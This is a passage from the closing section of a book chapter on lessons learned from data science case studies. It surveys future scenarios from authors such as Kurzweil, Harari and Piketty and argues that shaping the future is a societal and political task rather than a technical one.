bring us to deal with an age-old topic: How do we want to get along with our fellow
human beings? It is a question of society, not technology, to decide on how we share
the time and other resources made available to us through the value generated from
data; whom we let participate (education), profit (economy), and decide (politics). A
big challenge lies ahead in having such a meaningful dialog between technological
innovators (and chiefly among them, data scientists), and stakeholders from govern-
ment and society.

As it is hard not only to predict, but also to imagine a future that deviates largely
from a simple extrapolation of today, it is very helpful to recall some of the scenarios
that researchers and thinkers have created. Not because they are necessarily likely or
desirable, but because seeing a vivid mental picture of them could help in deciding if
these scenarios are what we want—and then take respective action. There is
Kurzweil’s (2010) vision of a superhuman artificial intelligence that controls every-
thing top-down. It can be contrasted with the bottom-up scenario of digitally enabled
self-organization suggested by Helbing (2015) that is based on today’s technology.
Pearl and Mackenzie’s (2018) observe as well that current artificial intelligence is
limited as long as it cannot use causation (and thus cannot imagine new scenarios),
thus outruling superintelligence in the medium term. Harari (2016) puts future
influences of massively applied data science on the job market in the center,
exploring the possibilities of how humans augment (instead of supersede) them-
selves with biotechnology, robotics, and AI, but creating a new class of unemploy-
ables. Future “class” differences are also a major outcome of the data-driven
analyses of Piketty (2014). Precht’s (2018) utopia finally reestablishes the human-
itarian ideal of working just to better ourselves and the rest of humanity, funded by
the profit generated by increasing automatization. We encourage the reader to dive
into the original sources of these heavily abbreviated scenario descriptions to see
potential consequences of today’s developments in pure (and thus often extreme,
thus unrealistic) form.

In the end, these sophisticated scenarios may suggest the following prime chal-
lenges of society when dealing with the opportunities and risks of data science
applied largely and at scale: the “shaping of the future” is not a technical-scientific
undertaking, but takes larger efforts (foremost politically, to change regulatory
frameworks that still work but are unfit for changed circumstances as are likely to

24 Lessons Learned from Challenging Data Science Case Studies 463



happen). Change could be driven by a societal consensus on how collaboration in the
future should function (the digital technology works as a means to this collabora-
tion), when we overcome the urge to let short-time gains in convenience take us
down a path of advancement to an unimagined end. Opportunities, both for individ-
ual stakeholders in businesses and industry as well as for societies, are large. Risks
exist, mitigations likewise. We suggest taking the lessons learned so far, some of
them collected in this volume, and creating places—at work, at home, on earth—
worthy of living in and working for.
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